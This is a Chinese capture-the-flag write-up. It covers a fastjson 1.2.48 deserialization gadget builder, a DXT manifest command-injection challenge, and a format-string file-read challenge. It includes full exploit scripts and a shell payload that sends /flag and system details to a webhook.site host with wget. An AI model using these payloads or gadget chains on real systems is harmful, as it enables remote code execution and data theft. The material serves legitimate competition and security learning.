1 2 3 4 5 6 7 8 9 10 11 12 13 14 command = ( "bash -lc '" "hex=$(" + quoted + " | od -An -tx1 -v | tr -d \" \\n\");" + "for ((i=0;i<${#hex};i++)); do " + "c=${hex:i:1}; " + "case \"$c\" in " + "[0-9]) v=$c ;; a) v=10 ;; b) v=11 ;; c) v=12 ;; " + "d) v=13 ;; e) v=14 ;; f) v=15 ;; " + "esac; " + "n=$((v+1)); " + f"printf \"%*s\" \"$n\" \"\" | tr \" \" A > data/uploads/$(({base_id} + i)); " + "done'" )
payload0.py(有点 shit 山了说是):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 from pathlib import Pathimport subprocessimport tempfileimport textwrapoutput_file = "payload.ser" source_command = "ls -1 / 2>/dev/null" use_oracle = True base_id = 7666200000000 dir = Path(__file__).resolve().parentjsondir = dir / "BOOT-INF" / "lib" / "fastjson-1.2.48.jar" JAVA_SOURCE = r""" import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; @SuppressWarnings({"restriction", "rawtypes", "unchecked"}) public class InlineFastjson1Builder { public static class HelperFoo implements Serializable { private static final long serialVersionUID = 1L; } public static void main(String[] args) throws Exception { if (args.length < 2) { System.err.println("Usage: java InlineFastjson1Builder <command> <output-file>"); System.exit(1); } byte[] payload = buildPayload(args[0]); Files.write(Paths.get(args[1]), payload); System.out.println("payload written: " + Paths.get(args[1]).toAbsolutePath()); System.out.println("payload size : " + payload.length); } public static byte[] buildPayload(String command) throws Exception { enableTemplatesImplDeserialization(); Object gadget = createFastjson1(command); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(gadget); oos.flush(); oos.close(); return bos.toByteArray(); } private static Object createFastjson1(String command) throws Exception { Object templates = createTemplatesImpl(command); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); setFieldValue(bad, "val", jsonArray); HashMap map = new HashMap(); map.put(templates, bad); return map; } private static TemplatesImpl createTemplatesImpl(String command) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] transletBytes = createExploitClassBytes(command); byte[] helperBytes = readClassBytes(HelperFoo.class); setFieldValue(templates, "_bytecodes", new byte[][]{transletBytes, helperBytes}); setFieldValue(templates, "_name", "Pwnr"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } private static byte[] createExploitClassBytes(String command) throws Exception { String className = "Pwner" + System.nanoTime(); String encoded = Base64.getEncoder().encodeToString(command.getBytes(StandardCharsets.UTF_8)); String source = "" + "import java.util.Base64;\n" + "import java.nio.charset.StandardCharsets;\n" + "import com.sun.org.apache.xalan.internal.xsltc.DOM;\n" + "import com.sun.org.apache.xalan.internal.xsltc.TransletException;\n" + "import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\n" + "import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\n" + "import com.sun.org.apache.xml.internal.serializer.SerializationHandler;\n" + "public class " + className + " extends AbstractTranslet {\n" + " static {\n" + " try {\n" + " String cmd = new String(Base64.getDecoder().decode(\"" + encoded + "\"), StandardCharsets.UTF_8);\n" + " Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", cmd});\n" + " } catch (Exception e) {\n" + " e.printStackTrace();\n" + " }\n" + " }\n" + " public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}\n" + " public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}\n" + "}\n"; Path tempDir = Files.createTempDirectory("inline-fastjson1-"); Path javaFile = tempDir.resolve(className + ".java"); Files.write(javaFile, source.getBytes(StandardCharsets.UTF_8)); String classPath = System.getProperty("java.class.path"); ProcessBuilder pb = new ProcessBuilder( "javac", "-encoding", "UTF-8", "-classpath", classPath, "-d", tempDir.toString(), javaFile.toString() ); pb.redirectErrorStream(true); Process p = pb.start(); ByteArrayOutputStream compilerOut = new ByteArrayOutputStream(); byte[] buf = new byte[4096]; int n; InputStream pin = p.getInputStream(); while ((n = pin.read(buf)) != -1) { compilerOut.write(buf, 0, n); } pin.close(); int rc = p.waitFor(); if (rc != 0) { throw new IllegalStateException( "Dynamic class compilation failed:\n" + compilerOut.toString("UTF-8") ); } return Files.readAllBytes(tempDir.resolve(className + ".class")); } private static void setFieldValue(Object target, String fieldName, Object value) throws Exception { Class<?> cls = target.getClass(); while (cls != null) { try { Field field = cls.getDeclaredField(fieldName); field.setAccessible(true); field.set(target, value); return; } catch (NoSuchFieldException ignored) { cls = cls.getSuperclass(); } } throw new NoSuchFieldException(fieldName); } private static byte[] readClassBytes(Class<?> cls) throws Exception { String resource = cls.getName().replace('.', '/') + ".class"; InputStream in = InlineFastjson1Builder.class.getClassLoader().getResourceAsStream(resource); if (in == null) { throw new IllegalStateException("Unable to load class bytes for " + resource); } ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[4096]; int n; while ((n = in.read(buf)) != -1) { bos.write(buf, 0, n); } in.close(); return bos.toByteArray(); } private static void enableTemplatesImplDeserialization() { System.setProperty("java.rmi.server.useCodebaseOnly", "false"); try { Field field = TemplatesImpl.class.getDeclaredField("DESERIALIZE_TRANSLET"); field.setAccessible(true); String propertyName = (String) field.get(null); System.setProperty(propertyName, "true"); } catch (Exception ignored) { System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true"); } } } """ def main () -> None : if not jsondir.exists(): raise SystemExit(f"fastjson jar not found: {jsondir} " ) output_path = dir / output_file command = source_command if use_oracle: quoted = source_command.replace("'" , "'\"'\"'" ) command = ( "bash -lc '" "hex=$(" + quoted + " | od -An -tx1 -v | tr -d \" \\n\");" + "for ((i=0;i<${#hex};i++)); do " + "c=${hex:i:1}; " + "case \"$c\" in " + "[0-9]) v=$c ;; a) v=10 ;; b) v=11 ;; c) v=12 ;; " + "d) v=13 ;; e) v=14 ;; f) v=15 ;; " + "esac; " + "n=$((v+1)); " + f"printf \"%*s\" \"$n\" \"\" | tr \" \" A > data/uploads/$(({base_id} + i)); " + "done'" ) with tempfile.TemporaryDirectory(prefix="py-fastjson1-" ) as tmp: tmpdir = Path(tmp) java_file = tmpdir / "InlineFastjson1Builder.java" java_file.write_text(textwrap.dedent(JAVA_SOURCE).strip() + "\n" , encoding="utf-8" ) compile_cmd = [ "javac" , "-encoding" , "UTF-8" , "-cp" , str (jsondir), str (java_file), ] compile_proc = subprocess.run( compile_cmd, cwd=tmpdir, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True , ) if compile_proc.returncode != 0 : raise SystemExit("compile failed:\n" + compile_proc.stderr) run_cp = f"{tmpdir} ;{jsondir} " run_cmd = [ "java" , "-cp" , run_cp, "InlineFastjson1Builder" , command, str (output_path), ] run_proc = subprocess.run( run_cmd, cwd=tmpdir, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True , ) if run_proc.returncode != 0 : raise SystemExit("build failed:\n" + run_proc.stderr) print (run_proc.stdout.strip()) print (f"source command: {source_command} " ) print (f"use oracle : {use_oracle} " ) if use_oracle: print (f"oracle base : {base_id} " ) print (f"output file : {output_path} " ) if __name__ == "__main__" : main()
代码执行顺序是 payload0.py -> payload1.py -> payload2.py
先看下根目录:
直接读 f14g 了
WEB_LFischl_DXT 题目分析 所以本题的探测重点不是先猜 payload,而是先把服务端的“接收条件”和“执行链路”摸清楚。
解题过程 关键分析
首页是一个很明显的 DXT 包上传管理界面,标题叫:
页面功能很直白:
上传 .dxt 文件
列出已经加载的 server
查看详情
Start / Stop / Delete
这类题第一眼就有两个关键判断:
.dxt 到底是什么格式,服务端会怎么解析
“Server Manager” 是否会真的把包里的某些字段拿去执行
所以本题的探测重点不是先猜 payload,而是先把服务端的“接收条件”和“执行链路”摸清楚。
总体利用链
最后实际走通的链路是:
读首页前端 -> 确认上传接口 -> 用报错反推 DXT 结构 -> 构造最小成功包
-> 查看详情接口确认实际命令 -> 启动探针确认命令执行
-> 验证 shell / 出网能力 -> 用 webhook 外带 /flag -> 拿到 flag
先看前端,不盲猜格式
先直接请求首页,可以看到上传逻辑大概是:
1 2 3 4 const response = await fetch ('/api/upload' , { method : 'POST' , body : formData });
前端还给出了几个信息:
只接受 .dxt 后缀
上传字段名是 file
服务列表接口是 /api/servers
单个详情接口是 /api/servers/:id
启动接口是 /api/servers/:id/start
注意这里前端只做了“扩展名限制”,没有说明 .dxt 的真实内容格式,所以不能直接默认它是某种普通文本配置文件。
从最小失败样本开始,利用报错反推 DXT 格式
这一段是整题最重要的探测思路。
如果一开始就硬写完整 manifest,容易把字段猜错,而且不知道哪个字段真正参与执行。更稳的做法是:
先构造最小错误样本
看服务端报错
每次只补一层结构
让服务端自己告诉我们 schema
1 空文件 / 纯文本 .dxt
先传空 empty.dxt、纯文本 plain.dxt
服务端报错一致:
1 { "error" : "Failed to unpack DXT file: failed to open dxt file: zip: not a valid zip file" }
这个报错直接说明.dxt 本质上先被当作 zip 包解析、后缀不重要,内容必须是 zip
2 有效 zip,但没有 manifest.json
再传一个正常 zip,只放一个 note.txt,然后改后缀成 .dxt,返回:
1 { "error" : "Failed to unpack DXT file: manifest.json not found in dxt file" }
这一步确定了第二层信息是 DXT 至少是 zip 包、根目录必须有 manifest.json
3 空 manifest
放一个{}返回:
1 { "error" : "Failed to parse manifest: server configuration is required" }
说明顶层至少需要 server。
4 逐层补字段
后面就按“每次只补一点”的方式往下探:
{"server":{}}
返回:
1 { "error" : "Failed to parse manifest: mcp_config is required" }
{"server":{"mcp_config":{}}}
返回:
1 { "error" : "Failed to parse manifest: command is required" }
{"server":{"mcp_config":{"command":"echo"}}}
返回:
1 { "error" : "Failed to parse manifest: at least one argument is required" }
加上 args
返回:
1 { "error" : "Invalid manifest: manifest.dxt_version is required" }
加上 dxt_version
返回:
1 { "error" : "Invalid manifest: manifest.author is required" }
加上 author.name
返回:
1 { "error" : "Invalid manifest: manifest.author.email is required" }
加上 author.email
返回:
1 { "error" : "Invalid manifest: manifest.server.type is required" }
加上 server.type
返回:
1 { "error" : "Invalid manifest: manifest.server.entry_point is required" }
最后加上 entry_point,同时在 zip 里放一个同名占位文件
这时第一次成功上传。
5 最小成功 manifest
最终摸出来的最小可上传结构是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "dxt_version" : "0.1" , "name" : "minimal_echo" , "version" : "1.0.0" , "author" : { "name" : "ctf" , "email" : "ctf@example.com" } , "server" : { "type" : "stdio" , "entry_point" : "noop.txt" , "mcp_config" : { "command" : "echo" , "args" : [ "hi" ] } } }
同时 zip 里再放一个:
这里最关键的收获不是“能上传”,而是已经看到服务端 manifest 里存在:command、args这两个字段非常像后续会被真正执行的命令行。
用详情接口确认服务端实际会怎么解释 manifest
上传成功后,再查/api/servers/<id>
响应里有一个非常关键的字段"command":"echo hi"
也就是说,服务端把:
1 2 3 4 "mcp_config" : { "command" : "echo" , "args" : [ "hi" ] }
直接展开成了echo hi
这一步已经足够说明问题:mcp_config.command + args 不是摆设 、 服务端确实会把它拼成待执行命令,但这还只是“展示层面”的证据,还需要真正启动一次看看。
用 Start 探针验证服务端真的会执行命令
对刚上传的 echo hi server 调用:
1 POST /api/servers/<id>/start
返回:
1 { "message" : "Server started successfully" , "pid" : 20 }
这个返回很关键,因为它给了一个真实 pid,说明服务端不是单纯在数据库里打个状态,而是真的起了子进程。
但 echo hi 太短,不方便继续观察,所以接下来需要做两种运行探针:
长驻命令,证明命令确实在执行
shell 命令,证明我们能用 sh -c 自由拼接逻辑
1 sleep 30 探针
构造:
1 2 3 4 "mcp_config" : { "command" : "sleep" , "args" : [ "30" ] }
启动后返回成功,并拿到新 pid。
这说明:
目标环境像 Linux 容器
常见二进制命令是存在的
2 sh -c "sleep 30" 探针
继续构造:
1 2 3 4 "mcp_config" : { "command" : "sh" , "args" : [ "-c" , "sleep 30" ] }
启动同样成功。
这一步非常重要,因为一旦 sh -c 可以执行,后面整个利用空间就打开了:
可以串多条命令
可以重定向输出
可以写临时文件
可以用 wget / find / cat
验证 entry_point 是否真的参与执行
虽然 schema 强制要求 entry_point,但这不代表它在启动时一定有用。
为了验证这一点,构造一个 manifest:
1 "entry_point" : "does/not/exist.txt"
zip 包里故意不放这个文件。
结果:
上传仍然成功
start 仍然成功
这说明:
entry_point 只是 schema 必填项
服务端既不检查它是否存在
实际执行链主要只看 mcp_config.command + args
这一步能帮我们把攻击面聚焦,不再浪费时间研究包内真实文件内容。
先测出网,不直接赌 flag 回显
到这里已经确定有命令执行,但还不知道执行结果是否能从站内接口直接读出来。
观察前端和接口后,没有发现 stdout / stderr / 日志读取接口,因此最稳的路线是:
让目标主动往外发请求
用 webhook 收结果
1 先验证 webhook 自身可用
先从本地给 webhook.site 发一个无害请求,确认:
webhook 地址没填错
token 对应的读取接口能拿到内容
本地直连成功后,再让 challenge 去打 webhook。
2 curl 和 wget 双探针
不要一开始就假设目标环境里既有 curl 又有 wget。
所以我分别构造了两种 payload:curl 外带、wget 外带
实际结果是:curl 这条链这次没有成功回传、wget 成功把标记串打到了 webhook
因此后续利用统一改成 wget。这里还有一个细节:webhook.site 的 request/latest/raw 有时会返回 404,所以轮询时不能只依赖这个接口。更稳的做法是读:
1 https://webhook.site/token/<token>/requests
然后从请求列表里找带 marker 的那一条。
构造最终外带命令
既然 sh -c 可用,wget 也可用,那么最后的 payload 思路就很直接:
把结果写到 /tmp 临时文件
先输出一个唯一 marker,便于在 webhook 请求列表中定位本次结果
直接尝试 cat /flag
再补一些环境信息和兜底的 find
最后用 wget --post-file 把结果发到 webhook
核心 shell 逻辑可以概括成:
1 2 3 4 5 6 7 8 9 10 out=/tmp/codex_flag.$$ { echo 'marker' cat /flag id pwd whoami find / -maxdepth 3 -type f ... } > "$out" 2>&1 wget -qO- --post-file="$out" 'https://webhook.site/xxxx' >/dev/null 2>&1
这里有两个好处:
就算 /flag 不存在,后面的 find 和环境信息还能帮助继续横向探测
webhook 里能按 marker 分辨是哪一次请求,不怕多次测试串台
回传结果与关键环境信息
最终 webhook 回传里拿到的内容大致是:
1 2 3 4 5 6 7 8 9 10 [cat:/flag] XMCTF{...} [id] uid=0(root) gid=0(root) ... [pwd] /tmp/servers/<uuid> [whoami] root [find-flag] /flag
这说明:
进程权限是 root
当前工作目录在 /tmp/servers/<server-id>
目标实例里的 flag 就放在 /flag
所以本题本质上就是:
1 不安全的 DXT manifest -> 可控 command + args -> Start 触发命令执行 -> wget 外带 /flag
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 import jsonimport mimetypesimport pathlibimport timeimport urllib.requestimport uuidimport zipfileCHALLENGE_BASE = "http://8080-7214bc0b-825c-4227-be34-b3d181354850.challenge.ctfplus.cn" UPLOAD_URL = f"{CHALLENGE_BASE} /api/upload" WEBHOOK_URL = "https://webhook.site/30ff406b-840d-4758-ae3c-630f285ac790" WEBHOOK_LATEST_RAW = "https://webhook.site/token/30ff406b-840d-4758-ae3c-630f285ac790/request/latest/raw" OUT_DIR = pathlib.Path(r"C:\Users\gaohang\Desktop\test\dxt_trials\exploit" ) def build_multipart (file_path ): boundary = f"----codex-{uuid.uuid4().hex } " file_bytes = file_path.read_bytes() filename = file_path.name mime_type = mimetypes.guess_type(filename)[0 ] or "application/octet-stream" body = b"" .join( [ f"--{boundary} \r\n" .encode(), ( f'Content-Disposition: form-data; name="file"; filename="{filename} "\r\n' f"Content-Type: {mime_type} \r\n\r\n" ).encode(), file_bytes, b"\r\n" , f"--{boundary} --\r\n" .encode(), ] ) headers = {"Content-Type" : f"multipart/form-data; boundary={boundary} " } return body, headers def json_request (url, method="GET" , body=None , headers=None ): request = urllib.request.Request(url, data=body, headers=headers or {}, method=method) with urllib.request.urlopen(request, timeout=20 ) as response: raw = response.read().decode() return response.status, json.loads(raw) if raw else {} def text_request (url ): with urllib.request.urlopen(url, timeout=20 ) as response: return response.status, response.read().decode() def build_payload_command (marker ): probe = ( "out=/tmp/codex_flag.$$; " "{ " f"echo '{marker} '; " "echo '[id]'; id; " "echo '[pwd]'; pwd; " "echo '[whoami]'; whoami 2>/dev/null || true; " "echo '[ls-root]'; ls -la / 2>/dev/null; " "echo '[find-flag]'; " "find / -maxdepth 3 -type f \\( -iname 'flag' -o -iname 'flag.txt' -o -iname '*flag*' \\) 2>/dev/null | head -n 50; " "for f in /flag /flag.txt /root/flag /root/flag.txt /app/flag /app/flag.txt /home/ctf/flag /home/ctf/flag.txt /workspace/flag /workspace/flag.txt /tmp/flag /tmp/flag.txt; do " "if [ -f \"$f\" ]; then echo \"[cat:$f]\"; cat \"$f\"; fi; " "done; " "} > \"$out\" 2>&1; " f"wget -qO- --post-file=\"$out\" '{WEBHOOK_URL} ' >/dev/null 2>&1" ) return probe def make_dxt (name, shell_command ): OUT_DIR.mkdir(parents=True , exist_ok=True ) path = OUT_DIR / f"{name} .dxt" manifest = { "dxt_version" : "0.1" , "name" : name, "version" : "1.0.0" , "author" : {"name" : "ctf" , "email" : "ctf@example.com" }, "server" : { "type" : "stdio" , "entry_point" : "anything.txt" , "mcp_config" : {"command" : "sh" , "args" : ["-c" , shell_command]}, }, } with zipfile.ZipFile(path, "w" , compression=zipfile.ZIP_DEFLATED) as zf: zf.writestr("manifest.json" , json.dumps(manifest, separators=("," , ":" ))) zf.writestr("anything.txt" , "placeholder" ) return path def upload_and_start (file_path ): body, headers = build_multipart(file_path) _, upload_payload = json_request(UPLOAD_URL, method="POST" , body=body, headers=headers) server_id = upload_payload["server" ]["id" ] _, start_payload = json_request(f"{CHALLENGE_BASE} /api/servers/{server_id} /start" , method="POST" ) return upload_payload, start_payload def wait_for_marker (marker, timeout_seconds=25 ): deadline = time.time() + timeout_seconds latest = "" while time.time() < deadline: _, latest = text_request(WEBHOOK_LATEST_RAW) if marker in latest: return latest time.sleep(2 ) return latest def main (): marker = f"codex-flag-{uuid.uuid4().hex [:8 ]} " dxt_name = f"flag_probe_{marker.split('-' )[-1 ]} " shell_command = build_payload_command(marker) dxt_path = make_dxt(dxt_name, shell_command) upload_payload, start_payload = upload_and_start(dxt_path) latest = wait_for_marker(marker) print (f"Marker: {marker} " ) print (f"DXT: {dxt_path} " ) print (json.dumps(upload_payload, ensure_ascii=True , indent=2 )) print (json.dumps(start_payload, ensure_ascii=True , indent=2 )) print ("=" * 72 ) print (latest) if __name__ == "__main__" : main()
最终 flag 现有材料中只保留了 XMCTF{...} 占位形式,真实 flag 文本还需要补充。
PWN_LFischl_ez-nc 题目分析 本题本质不是传统栈溢出,而是一个“文件名格式化字符串”问题。程序让我们输入要下载的文件名,但它把用户输入直接当成了 snprintf 的格式串,于是可以用 %n$s 从栈上取指针,把“真正传给 fopen 的文件名”改成别的内容。
解题过程 关键分析
本题本质不是传统栈溢出,而是一个“文件名格式化字符串”问题。程序让我们输入要下载的文件名,但它把用户输入直接当成了 snprintf 的格式串,于是可以用 %n$s 从栈上取指针,把“真正传给 fopen 的文件名”改成别的内容。
最关键的一点是:真实 flag 不在 flag 文件里,而是直接编进了程序 ELF 的 .rodata。所以正确思路不是硬读 /flag,而是想办法把程序自己的 ELF 下载出来,再从二进制里提取 flag。
banner
连上服务后首先看到:
1 Enter the filename to download:
说明它在等一个“文件名”。
输入长度探测
先发普通字符串:
1 2 3 4 5 payload: 1234567 resp: 1234567 not existed or could not be opened. Enter the filename to download: not existed or could not be opened. Enter the filename to download:
再发 8 个字符:
1 2 3 4 5 payload: 12345678 resp: 1234567 not existed or could not be opened. Enter the filename to download: 8 not existed or could not be opened. Enter the filename to download:
这里能看出两个现象:一次只吃进去了前 7 个可见字符、第 8 个字符和换行留在输入缓冲区里,被下一轮循环继续读了。这基本就能判断程序是类似:
1 2 char buf[8 ];fgets(buf, 8 , stdin );
也就是说,后续 payload 必须控制在 7 字节以内,%99$s 这种长度刚好够用。
黑名单与诱饵文件探测
继续测试敏感关键字:
1 2 3 4 payload: proc resp: Access to this file is forbidden. Enter the filename to download:
1 2 3 4 payload: ez-nc resp: Access to this file is forbidden. Enter the filename to download:
1 2 3 4 payload: resp: bad filename. Enter the filename to download:
看起来程序至少拦了:proc、ez-nc、%c
再试大家第一反应会去读的 flag:
1 2 3 4 5 6 payload: flag resp: File content: nothing here. Enter the filename to download:
这一步非常重要。它说明:
flag 不是黑名单。
但是读到的只是一个诱饵文件,内容是 nothing here.。
真 flag 大概率不在普通文件 flag 里。
格式化字符串存在性探测
如果程序真的把输入当普通文件名,那么 %1$p 应该只是去打开一个字面量文件名 %1$p。但实测不是:
1 2 3 4 payload: resp: 0x7ffdf5f84e23 not existed or could not be opened. Enter the filename to download:
1 2 3 4 payload: resp: 0x8236b2d0e7b73c00 not existed or could not be opened. Enter the filename to download:
这说明 %1$p、%9$p 被解释执行了,程序确实存在格式化字符串问题,而且解释结果最终还会被当成文件名传给 fopen。
漏洞确认与程序逻辑
利用 %99$s 成功把远程 ELF 整体下载回来后,对二进制做 objdump/strings 可以还原核心逻辑。等价伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 char user_input[8 ];char *real_filename = malloc (0x58 );while (1 ) { printf ("Enter the filename to download: " ); fgets(user_input, 8 , stdin ); user_input[strcspn (user_input, "\n" )] = 0 ; if (strstr (user_input, "ez-nc" ) || strstr (user_input, "proc" )) { puts ("Access to this file is forbidden." ); continue ; } if (strstr (user_input, "%c" )) { puts ("bad filename." ); continue ; } snprintf (real_filename, 0x58 , user_input); fp = fopen(real_filename, "r" ); ... }
关键问题就在这句:
1 snprintf (real_filename, 0x58 , user_input);
正常写法应该是:
1 snprintf (real_filename, 0x58 , "%s" , user_input);
现在它把 user_input 直接当格式串,于是 %99$s 会去栈上找第 99 个参数位置上的指针,并把那个指针指向的字符串展开成“真实文件名”。
既然能控文件名,就想办法读程序自己
只要 %n$s 能从栈上找到一个“指向程序自身路径的字符串指针”,那么 snprintf 展开后,fopen 打开的就是程序自己的 ELF。
确定偏移方式
因为单次输入只有 7 字节,所以形如 %99$s、%45$s 这种 payload 是刚好能放进去的。
我对 %1$s 到 %120$s 做了扫描,命中结果如下:
1 [(45, 'ELF'), (99, 'ELF')]
也就是说,%45$s 和 %99$s 都能让程序返回一个以 \x7fELF 开头的文件内容。为了稳定起见,最终选用 %99$s。
确认拿到的是 ELF
对 %99$s 的返回结果抓前 16 字节:
1 2 first16_ hex= 7f454c46020101000000000000000000 first16_ repr= b'\\ x7fELF\\ x02\\ x01\\ x01\\ x00\\ x00\\ x00\\ x00\\ x00\\ x00\\ x00\\ x00\\ x00'
标准 ELF 头,说明我们确实把程序本体读出来了。
对 dump 回来的文件跑 strings:
1 polarisctf{7429cbbd-b6cc-4d44-9a09-dca3f85a29c7}
所以 flag 直接在二进制常量区里,下载程序本体后正则或 strings 一搜就出来了。
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 import reimport socketimport structimport timefrom pathlib import PathPREFIX = b"File content:\n" PROMPT = b"Enter the filename to download: " FLAG_RE = re.compile (rb"polarisctf\{[0-9a-fA-F-]+\}" ) HOST = "nc1.ctfplus.cn" PORT = 44916 OUT_PATH = Path(__file__).resolve().with_name(f"ez_nc_remote_{PORT} .bin" ) PAYLOADS = [b"%99$s" , b"%45$s" ] def recv_all (sock: socket.socket, timeout: float = 1.0 ) -> bytes : sock.settimeout(timeout) chunks = [] while True : try : chunk = sock.recv(65536 ) if not chunk: break chunks.append(chunk) except Exception: break return b"" .join(chunks) def infer_elf_size (blob: bytes ) -> int : if blob[:4 ] != b"\x7fELF" : raise ValueError("not an ELF" ) e_ident_class = blob[4 ] if e_ident_class != 2 : raise ValueError("only ELF64 is supported" ) e_phoff, e_shoff = struct.unpack_from("<QQ" , blob, 32 ) e_phentsize, e_phnum, e_shentsize, e_shnum = struct.unpack_from("<HHHH" , blob, 54 ) max_end = 64 for i in range (e_phnum): off = e_phoff + i * e_phentsize p_offset, p_filesz = struct.unpack_from("<QQ" , blob, off + 8 ) max_end = max (max_end, p_offset + p_filesz) for i in range (e_shnum): off = e_shoff + i * e_shentsize sh_type = struct.unpack_from("<I" , blob, off + 4 )[0 ] sh_offset, sh_size = struct.unpack_from("<QQ" , blob, off + 24 ) if sh_type == 8 : continue max_end = max (max_end, sh_offset + sh_size) return max_end def try_fetch_once (host: str , port: int , payload: bytes ) -> bytes : with socket.create_connection((host, port), timeout=5 ) as sock: banner = sock.recv(4096 ) if banner and PROMPT not in banner: print (f"[!] Unexpected banner: {banner!r} " ) elif not banner: print ("[!] Empty banner, still trying payload" ) sock.sendall(payload + b"\n" ) data = recv_all(sock) start = data.find(PREFIX) if start == -1 : raise RuntimeError(f"did not get a file dump, got: {data[:200 ]!r} " ) blob = data[start + len (PREFIX) :] size = infer_elf_size(blob) return blob[:size] def fetch_binary (host: str , port: int , payloads: list [bytes ], retries: int = 3 ) -> tuple [bytes , bytes ]: last_error: Exception | None = None for attempt in range (1 , retries + 1 ): for payload in payloads: try : print (f"[+] Attempt {attempt} /{retries} with payload: {payload.decode(errors='replace' )} " ) return try_fetch_once(host, port, payload), payload except Exception as exc: last_error = exc print (f"[!] Attempt failed: {exc} " ) time.sleep(0.5 ) if last_error is None : raise RuntimeError("fetch failed without a concrete exception" ) raise last_error def extract_flag (elf_data: bytes ) -> str | None : match = FLAG_RE.search(elf_data) if match : return match .group().decode() return None def main () -> int : print (f"[+] Target: {HOST} :{PORT} " ) print (f"[+] Payload candidates: {[p.decode() for p in PAYLOADS]} " ) elf_data, payload = fetch_binary(HOST, PORT, PAYLOADS) OUT_PATH.write_bytes(elf_data) print (f"[+] Saved ELF: {OUT_PATH.resolve()} ({len (elf_data)} bytes)" ) print (f"[+] Working payload: {payload.decode(errors='replace' )} " ) flag = extract_flag(elf_data) if flag: print (f"[+] Flag: {flag} " ) return 0 print ("[!] Flag regex not found in dumped ELF" ) return 1 if __name__ == "__main__" : raise SystemExit(main())
最终 flag polarisctf{7429cbbd-b6cc-4d44-9a09-dca3f85a29c7}
MISC_Rewind_signin 题目分析 本题核心是从流量包中拆出压缩包并恢复题目文件,再按文件里的线索逐层提取信息,最终拿到签到 flag。
解题过程 关键分析
分析流量包,拆解出一个zip压缩包
随波逐流分析
发现有这两个文件
从压缩包中获取解密文件(不用管加密png,直接读另一个文件,复制内容创建txt文本粘贴内容作为流量包解密文本
